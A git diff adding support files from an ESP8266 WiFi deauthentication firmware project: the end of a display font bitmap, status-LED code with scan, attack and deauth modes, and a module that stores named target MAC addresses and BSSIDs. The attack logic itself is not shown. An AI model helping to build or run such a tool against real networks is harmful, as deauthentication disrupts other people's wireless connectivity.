+ 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 148 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 149 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 150 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 151 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 152 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 153 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 154 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 155 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 156 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 157 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 158 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 159 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x3F, // 161 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0xF8, 0x3F, 0x20, 0x08, 0x40, 0x04, // 162 + 0x00, 0x00, 0x80, 0x08, 0xF0, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, // 163 + 0x00, 0x00, 0x20, 0x04, 0xC0, 0x03, 0x40, 0x02, 0x40, 0x02, 0xC0, 0x03, 0x20, 0x04, // 164 + 0x08, 0x00, 0x50, 0x01, 0x60, 0x01, 0x80, 0x0F, 0x60, 0x01, 0x50, 0x01, 0x08, // 165 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x3C, // 166 + 0x00, 0x00, 0xF0, 0x11, 0x28, 0x13, 0x48, 0x12, 0xC8, 0x14, 0x88, 0x0F, // 167 + 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, // 168 + 0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0x50, 0x05, 0x50, 0x05, 0x20, 0x02, 0xC0, 0x01, // 169 + 0x00, 0x00, 0xE8, 0x02, 0xA8, 0x02, 0xA8, 0x02, 0xF0, 0x02, // 170 + 0x00, 0x00, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, // 171 + 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x03, // 172 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 173 + 0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0xD0, 0x05, 0xD0, 0x05, 0x20, 0x02, 0xC0, 0x01, // 174 + 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 175 + 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x48, 0x00, 0x48, 0x00, 0x30, // 176 + 0x80, 0x08, 0x80, 0x08, 0x80, 0x08, 0xE0, 0x0B, 0x80, 0x08, 0x80, 0x08, 0x80, 0x08, // 177 + 0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xE8, 0x00, 0xB8, // 178 + 0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0xD8, // 179 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x04, // 180 + 0x00, 0x00, 0xE0, 0x7F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, 0x00, 0x08, // 181 + 0x00, 0x00, 0x70, 0x00, 0xF8, 0x00, 0xF8, 0x00, 0xF8, 0x1F, 0x08, 0x00, 0xF8, 0x1F, // 182 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, // 183 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x30, // 184 + 0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xF8, 0x00, 0x80, // 185 + 0x00, 0x00, 0x70, 0x02, 0x88, 0x02, 0x88, 0x02, 0x70, 0x02, // 186 + 0x00, 0x00, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, // 187 + 0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x0D, 0x80, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 188 + 0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x11, 0x80, 0x1D, 0x80, 0x17, // 189 + 0x00, 0x02, 0x44, 0x03, 0x54, 0x01, 0x54, 0x0D, 0xEC, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 190 + 0x00, 0x38, 0x00, 0x4C, 0x00, 0x44, 0x60, 0x43, 0x00, 0x20, // 191 + 0x00, 0x00, 0x00, 0x0C, 0xC1, 0x03, 0x3A, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 192 + 0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x3A, 0x02, 0x39, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 193 + 0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x39, 0x02, 0x39, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 194 + 0x00, 0x00, 0x00, 0x0C, 0xC3, 0x03, 0x39, 0x02, 0x3A, 0x02, 0xC3, 0x03, 0x00, 0x0C, // 195 + 0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 196 + 0x00, 0x00, 0x00, 0x08, 0x00, 0x07, 0xFE, 0x02, 0xE6, 0x02, 0x00, 0x07, 0x00, 0x08, // 197 + 0x00, 0x0C, 0x80, 0x03, 0x78, 0x02, 0x08, 0x02, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, // 198 + 0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x28, 0x08, 0x28, 0x08, 0x38, 0x10, 0x04, // 199 + 0x00, 0x00, 0xF8, 0x0F, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 200 + 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x8A, 0x08, 0x89, 0x08, 0x88, 0x08, 0x88, 0x08, // 201 + 0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x89, 0x08, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, // 202 + 0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x88, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, // 203 + 0x00, 0x00, 0x08, 0x08, 0x09, 0x08, 0xFA, 0x0F, 0x08, 0x08, 0x08, 0x08, // 204 + 0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xFA, 0x0F, 0x09, 0x08, 0x08, 0x08, // 205 + 0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF9, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 206 + 0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF8, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 207 + 0x80, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 208 + 0x00, 0x00, 0xF8, 0x0F, 0x1B, 0x00, 0xE1, 0x00, 0x82, 0x03, 0x03, 0x0C, 0xF8, 0x0F, // 209 + 0x00, 0x00, 0xE0, 0x03, 0x19, 0x0C, 0x0A, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 210 + 0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x0A, 0x08, 0x09, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 211 + 0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x09, 0x08, 0x09, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 212 + 0x00, 0x00, 0xE0, 0x03, 0x1B, 0x0C, 0x09, 0x08, 0x0A, 0x08, 0x1B, 0x0C, 0xE0, 0x03, // 213 + 0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 214 + 0x00, 0x00, 0x20, 0x02, 0x40, 0x01, 0x80, 0x00, 0x40, 0x01, 0x20, 0x02, // 215 + 0x00, 0x08, 0xE0, 0x07, 0x18, 0x0E, 0x88, 0x09, 0x48, 0x08, 0x38, 0x0C, 0xF8, 0x03, // 216 + 0x00, 0x00, 0xF8, 0x07, 0x01, 0x08, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 217 + 0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x02, 0x08, 0x01, 0x08, 0x00, 0x08, 0xF8, 0x07, // 218 + 0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x01, 0x08, 0x01, 0x08, 0x02, 0x08, 0xF8, 0x07, // 219 + 0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0x02, 0x08, 0xF8, 0x07, // 220 + 0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x82, 0x0F, 0x61, 0x00, 0x10, 0x00, 0x08, // 221 + 0x00, 0x00, 0xF8, 0x0F, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0xE0, // 222 + 0x00, 0x00, 0xF8, 0x0F, 0xE4, 0x00, 0xA4, 0x09, 0x18, 0x09, 0x00, 0x06, // 223 + 0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x0F, // 224 + 0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x0F, // 225 + 0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x0F, // 226 + 0x00, 0x00, 0x40, 0x06, 0x2C, 0x09, 0x24, 0x09, 0x28, 0x09, 0xCC, 0x0F, // 227 + 0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x0F, // 228 + 0x00, 0x00, 0x40, 0x06, 0x26, 0x09, 0x29, 0x09, 0x29, 0x09, 0xC6, 0x0F, // 229 + 0x00, 0x00, 0x40, 0x0F, 0x20, 0x09, 0xC0, 0x07, 0x20, 0x09, 0xE0, 0x09, // 230 + 0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x28, 0x20, 0x28, 0x40, 0x38, // 231 + 0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x05, // 232 + 0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x05, // 233 + 0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x05, // 234 + 0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x05, // 235 + 0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08, // 236 + 0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE8, 0x0F, 0x04, 0x08, 0x00, 0x08, // 237 + 0x00, 0x00, 0x28, 0x08, 0x24, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08, // 238 + 0x00, 0x00, 0x20, 0x08, 0x28, 0x08, 0xE0, 0x0F, 0x08, 0x08, 0x00, 0x08, // 239 + 0x00, 0x00, 0x80, 0x07, 0x54, 0x08, 0x58, 0x08, 0x68, 0x08, 0xC0, 0x07, // 240 + 0x00, 0x00, 0xE0, 0x0F, 0x4C, 0x00, 0x24, 0x00, 0x28, 0x00, 0xCC, 0x0F, // 241 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07, // 242 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x28, 0x08, 0x24, 0x08, 0xC0, 0x07, // 243 + 0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07, // 244 + 0x00, 0x00, 0xCC, 0x07, 0x24, 0x08, 0x2C, 0x08, 0x28, 0x08, 0xCC, 0x07, // 245 + 0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x20, 0x08, 0x28, 0x08, 0xC0, 0x07, // 246 + 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x40, 0x05, 0x00, 0x01, 0x00, 0x01, // 247 + 0x00, 0x00, 0xC0, 0x0F, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0xE0, 0x07, // 248 + 0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 249 + 0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x08, 0x08, 0x04, 0x08, 0xE0, 0x0F, // 250 + 0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 251 + 0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x00, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 252 + 0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x08, 0x1C, 0x84, 0x03, 0x60, // 253 + 0x00, 0x00, 0xFC, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 254 + 0x00, 0x00, 0x60, 0x40, 0x88, 0x67, 0x00, 0x1C, 0x88, 0x03, 0x60 // 255 +}; + +#endif // ifndef DisplayUI_h diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/LED.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/LED.cpp new file mode 100755 index 0000000..94f2513 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/LED.cpp @@ -0,0 +1,205 @@ +#include "LED.h" + +LED::LED() {} + +LED::~LED() { + if (led) delete led; +} + +void LED::setup() { + #if defined(DIGITAL_LED) + led = new DigitalLED(LED_PIN_R, LED_PIN_G, LED_PIN_B, LED_ANODE); + led->setup(); + #elif defined(RGB_LED) + led = new LED::AnalogRGBLED(LED_PIN_R, LED_PIN_G, LED_PIN_B, LED_MODE_BRIGHTNESS, LED_ANODE); + led->setup(); + #elif defined(NEOPIXEL_LED) + led = new LED::NeopixelLED(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, LED_MODE_BRIGHTNESS); + led->setup(); + #endif // if defined(DIGITAL_LED) +} + +void LED::update() { + if (!tempEnabled || !led) return; + + if (!settings.getLedEnabled() && tempEnabled) tempDisable(); + + if (scan.isScanning() && (scan.deauths < settings.getMinDeauths())) setMode(LED_MODE::SCAN, false); + else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE::DEAUTH, false); + else if (attack.isRunning()) setMode(LED_MODE::ATTACK, false); + else setMode(LED_MODE::IDLE, false); +} + +void LED::setMode(uint8_t mode, bool force) { + if (!led) return; + + if ((mode != LED::mode) || force) { + LED::mode = mode; + + switch (mode) { + case LED_MODE::OFF: + led->setColor(0, 0, 0); + break; + + case LED_MODE::SCAN: + led->setColor(0, 0, 255); + break; + + case LED_MODE::ATTACK: + led->setColor(255, 255, 0); + break; + + case LED_MODE::DEAUTH: + led->setColor(255, 0, 0); + break; + + case LED_MODE::IDLE: + led->setColor(0, 255, 0); + break; + } + } +} + +void LED::setColor(uint8_t r, uint8_t g, uint8_t b, bool output) { + // debug output + if (output) { + char s[30]; + sprintf_P(s, L_OUTPUT, r, g, b); + prnt(String(s)); + } + + led->setColor(r, g, b); +} + +void LED::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) { + led->setBrightness(brightness); + setColor(r, g, b, output); +} + +void LED::tempEnable() { + tempEnabled = true; + prntln(L_ENABLED); +} + +void LED::tempDisable() { + tempEnabled = false; + prntln(L_DISABLED); +} + +bool LED::getTempEnabled() { + return tempEnabled; +} + +#ifdef DIGITAL_LED +// ===== DigitalLED ===== // +LED::DigitalLED::DigitalLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, bool anode) { + LED::DigitalLED::anode = anode; + LED::DigitalLED::rPin = rPin; + LED::DigitalLED::gPin = gPin; + LED::DigitalLED::bPin = bPin; +} + +LED::DigitalLED::~DigitalLED() {} + +void LED::DigitalLED::setup() { + if (rPin < 255) pinMode(rPin, OUTPUT); + + if (gPin < 255) pinMode(gPin, OUTPUT); + + if (bPin < 255) pinMode(bPin, OUTPUT); +} + +void LED::DigitalLED::setColor(uint8_t r, uint8_t g, uint8_t b) { + if (anode) { + if (rPin < 255) digitalWrite(rPin, r > 0); + + if (gPin < 255) digitalWrite(gPin, g > 0); + + if (bPin < 255) digitalWrite(bPin, b > 0); + } else { + if (rPin < 255) digitalWrite(rPin, r == 0); + + if (gPin < 255) digitalWrite(gPin, g == 0); + + if (bPin < 255) digitalWrite(bPin, b == 0); + } +} + +void LED::DigitalLED::setBrightness(uint8_t brightness) {} +#endif + +#ifdef RGB_LED +// ===== AnalogRGBLED ===== // +LED::AnalogRGBLED::AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_t brightness, bool anode) { + LED::AnalogRGBLED::anode = anode; + LED::AnalogRGBLED::rPin = rPin; + LED::AnalogRGBLED::gPin = gPin; + LED::AnalogRGBLED::bPin = bPin; + + setBrightness(brightness); +} + +LED::AnalogRGBLED::~AnalogRGBLED() {} + +void LED::AnalogRGBLED::setup() { + analogWriteRange(0xff); + + if (rPin < 255) pinMode(rPin, OUTPUT); + + if (gPin < 255) pinMode(gPin, OUTPUT); + + if (bPin < 255) pinMode(bPin, OUTPUT); +} + +void LED::AnalogRGBLED::setColor(uint8_t r, uint8_t g, uint8_t b) { + if ((r > 0) && (brightness < 100)) r = r * brightness / 100; + + if ((g > 0) && (brightness < 100)) g = g * brightness / 100; + + if ((b > 0) && (brightness < 100)) b = b * brightness / 100; + + if (anode) { + r = 255 - r; + g = 255 - g; + b = 255 - b; + } + + analogWrite(rPin, r); + analogWrite(gPin, g); + analogWrite(bPin, b); +} + +void LED::AnalogRGBLED::setBrightness(uint8_t brightness) { + if (brightness > 100) brightness = 100; + LED::AnalogRGBLED::brightness = brightness; +} +#endif + +#ifdef NEOPIXEL_LED +// ===== NeopixelLED ===== // +LED::NeopixelLED::NeopixelLED(int num, uint8_t dataPin, uint8_t brightness) { + strip = new Adafruit_NeoPixel(num, dataPin, LED_NEOPIXEL_MODE); + setBrightness(brightness); +} + +LED::NeopixelLED::~NeopixelLED() { + delete strip; +} + +void LED::NeopixelLED::setup() { + strip->begin(); + strip->show(); +} + +void LED::NeopixelLED::setColor(uint8_t r, uint8_t g, uint8_t b) { + int num = strip->numPixels(); + + for (uint16_t i = 0; i < num; i++) strip->setPixelColor(i, strip->Color(r, g, b)); + strip->show(); +} + +void LED::NeopixelLED::setBrightness(uint8_t brightness) { + if (brightness > 100) brightness = 100; + strip->setBrightness(brightness); +} +#endif diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/LED.h b/enp8266/esp8266_deauther-master/esp8266_deauther/LED.h new file mode 100755 index 0000000..0834ddc --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/LED.h @@ -0,0 +1,107 @@ +#ifndef LED_h +#define LED_h + +#include "Arduino.h" +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "A_config.h" +#include "Settings.h" +#include "Attack.h" +#include "Scan.h" + +#include + +extern Settings settings; +extern Attack attack; +extern Scan scan; +extern Stations stations; + +class LED { + public: + enum LED_MODE { OFF = 0, SCAN = 1, ATTACK = 2, DEAUTH = 3, IDLE = 4 }; + + LED(); + ~LED(); + + void setup(); + void update(); + + void setMode(uint8_t mode, bool force); + + void setColor(uint8_t r, uint8_t g, uint8_t b, bool output); + void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output); + + void tempEnable(); + void tempDisable(); + bool getTempEnabled(); + + private: + class StatusLED { + public: + virtual ~StatusLED() = default; + + virtual void setup() = 0; + + virtual void setColor(uint8_t r, uint8_t g, uint8_t b) = 0; + virtual void setBrightness(uint8_t brightness) = 0; + }; +#ifdef DIGITAL_LED + class DigitalLED : public StatusLED { + public: + DigitalLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, bool anode); + ~DigitalLED(); + + void setup(); + void setColor(uint8_t r, uint8_t g, uint8_t b); + void setBrightness(uint8_t brightness); + void setMode(uint8_t mode, bool force); + + private: + bool anode = true; + uint8_t rPin = 255; + uint8_t gPin = 255; + uint8_t bPin = 255; + }; +#endif +#ifdef RGB_LED + class AnalogRGBLED : public StatusLED { + public: + AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_t brightness, bool anode); + ~AnalogRGBLED(); + + void setup(); + void setColor(uint8_t r, uint8_t g, uint8_t b); + void setBrightness(uint8_t brightness); + void setMode(uint8_t mode, bool force); + + private: + bool anode = true; + uint8_t rPin = 255; + uint8_t gPin = 255; + uint8_t bPin = 255; + uint8_t brightness = 0; + }; +#endif +#ifdef NEOPIXEL_LED + class NeopixelLED : public StatusLED { + public: + NeopixelLED(int num, uint8_t dataPin, uint8_t brightness); + ~NeopixelLED(); + + void setup(); + void setColor(uint8_t r, uint8_t g, uint8_t b); + void setBrightness(uint8_t brightness); + void setMode(uint8_t mode, bool force); + + private: + Adafruit_NeoPixel* strip; + }; +#endif + bool tempEnabled = true; + uint8_t mode = LED_MODE::OFF; + StatusLED* led = NULL; +}; + +#endif // ifndef LED_h diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Names.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/Names.cpp new file mode 100755 index 0000000..af6272f --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Names.cpp @@ -0,0 +1,511 @@ +#include "Names.h" + +Names::Names() { + list = new SimpleList; +} + +void Names::load() { + internal_removeAll(); + + DynamicJsonBuffer jsonBuffer(4000); + + checkFile(FILE_PATH, String(OPEN_BRACKET) + String(CLOSE_BRACKET)); + JsonArray& arr = parseJSONFile(FILE_PATH, jsonBuffer); + + for (uint32_t i = 0; i < arr.size() && i < NAME_LIST_SIZE; i++) { + JsonArray& tmpArray = arr.get(i); + internal_add(tmpArray.get(0), tmpArray.get(2), tmpArray.get(3), tmpArray.get( + 4), false); + sort(); + } + + prnt(N_LOADED); + prntln(FILE_PATH); +} + +void Names::load(String filepath) { + String tmp = FILE_PATH; + + FILE_PATH = filepath; + load(); + FILE_PATH = tmp; +} + +void Names::save(bool force) { + if (!force && !changed) { + return; + + prntln(N_SAVED); + } + + String buf = String(OPEN_BRACKET); // [ + + if (!writeFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + buf = String(); + + String name; + int c = count(); + + for (int i = 0; i < c; i++) { + name = escape(getName(i)); + + buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22", + buf += String(DOUBLEQUOTES) + getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor", + buf += String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // "name", + buf += String(DOUBLEQUOTES) + getBssidStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22", + buf += String(getCh(i)) + String(COMMA); // 1, + buf += b2s(getSelected(i)) + String(CLOSE_BRACKET); // false] + + if (i < c - 1) buf += COMMA; // , + + if (buf.length() >= 1024) { + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + buf = String(); + } + } + + buf += String(CLOSE_BRACKET); // ] + + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + prnt(N_SAVED); + prntln(FILE_PATH); + changed = false; +} + +void Names::save(bool force, String filepath) { + String tmp = FILE_PATH; + + FILE_PATH = filepath; + save(force); + FILE_PATH = tmp; +} + +void Names::sort() { + list->setCompare([](Device& a, Device& b) -> int { + return memcmp(a.mac, b.mac, 6); + }); + list->sort(); +} + +void Names::removeAll() { + internal_removeAll(); + prntln(N_REMOVED_ALL); + changed = true; +} + +bool Names::check(int num) { + if (internal_check(num)) return true; + + prnt(N_ERROR_NOT_FOUND); + prntln(num); + return false; +} + +int Names::findID(uint8_t* mac) { + for (int i = 0; i < list->size(); i++) { + if (memcmp(mac, list->get(i).mac, 6) == 0) return i; + } + + return -1; +} + +String Names::find(uint8_t* mac) { + int num = findID(mac); + + if (num >= 0) return getName(num); + else return String(); +} + +void Names::print(int num) { + print(num, true, true); +} + +void Names::print(int num, bool header, bool footer) { + if (!check(num)) return; + + if (header) { + prntln(N_TABLE_HEADER); + prntln(N_TABLE_DIVIDER); + } + + prnt(leftRight(String(), (String)num, 2)); + prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18)); + prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9)); + prnt(leftRight(String(SPACE) + getName(num), String(), 17)); + prnt(leftRight(String(SPACE) + getBssidStr(num), String(), 18)); + prnt(leftRight(String(SPACE), (String)getCh(num), 3)); + prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9)); + + if (footer) prntln(N_TABLE_DIVIDER); +} + +void Names::printAll() { + prntln(N_HEADER); + int c = count(); + + if (c == 0) prntln(N_ERROR_LIST_EMPTY); + else + for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1); +} + +void Names::printSelected() { + prntln(N_TABLE_HEADER); + int max = selected(); + int c = count(); + + if (max == 0) { + prntln(N_ERROR_NO_SELECTED); + return; + } + + for (int i = 0, j = 0; i < c && j < max; i++) { + if (getSelected(i)) { + print(i, j == 0, j == max - 1); + j++; + } + } +} + +void Names::add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force) { + if (count() >= NAME_LIST_SIZE) { + if (force) internal_remove(0); + else { + prntln(N_ERROR_LIST_FULL); + return; + } + } + + if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH); + + internal_add(mac, name, bssid, ch, selected); + sort(); + + prnt(N_ADDED); + prntln(name); + changed = true; +} + +void Names::add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force) { + if (count() >= NAME_LIST_SIZE) { + if (force) internal_remove(0); + else { + prntln(N_ERROR_LIST_FULL); + return; + } + } + + if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH); + + internal_add(macStr, name, bssidStr, ch, selected); + sort(); + + prnt(N_ADDED); + prntln(name); + changed = true; +} + +void Names::replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected) { + if (!check(num)) return; + + remove(num); + + internal_add(macStr, name, bssidStr, ch, selected); + sort(); + prnt(N_REPLACED); + prntln(name); + changed = true; +} + +void Names::remove(int num) { + if (!check(num)) return; + + prnt(N_REMOVED); + prntln(getName(num)); + internal_remove(num); + changed = true; +} + +void Names::setName(int num, String name) { + if (!check(num)) return; + + internal_add(getMac(num), name, getBssid(num), getCh(num), getSelected(num)); + + prntln(N_CHANGED_NAME); + + internal_remove(num); + sort(); + changed = true; +} + +void Names::setMac(int num, String macStr) { + if (!check(num)) return; + + uint8_t mac[6]; + strToMac(macStr, mac); + internal_add(mac, getName(num), getBssid(num), getCh(num), getSelected(num)); + prntln(N_CHANGED_MAC); + internal_remove(num); + sort(); + changed = true; +} + +void Names::setCh(int num, uint8_t ch) { + if (!check(num)) return; + + internal_add(getMac(num), getName(num), getBssid(num), ch, getSelected(num)); + prntln(N_CHANGED_CH); + internal_remove(num); + sort(); + changed = true; +} + +void Names::setBSSID(int num, String bssidStr) { + if (!check(num)) return; + + uint8_t mac[6]; + strToMac(bssidStr, mac); + internal_add(getMac(num), getName(num), mac, getCh(num), getSelected(num)); + prntln(N_CHANGED_BSSID); + internal_remove(num); + sort(); + changed = true; +} + +void Names::select(int num) { + if (!check(num)) return; + + internal_select(num); + prnt(N_SELECTED); + prntln(getName(num)); + changed = true; +} + +void Names::select(String name) { + int c = count(); + + for (int i = 0; i < c; i++) { + if (getName(i).equals(name)) { + select(i); + return; + } + } + prnt(N_ERROR_NOT_FOUND); + prntln(name); +} + +void Names::deselect(int num) { + if (!check(num)) return; + 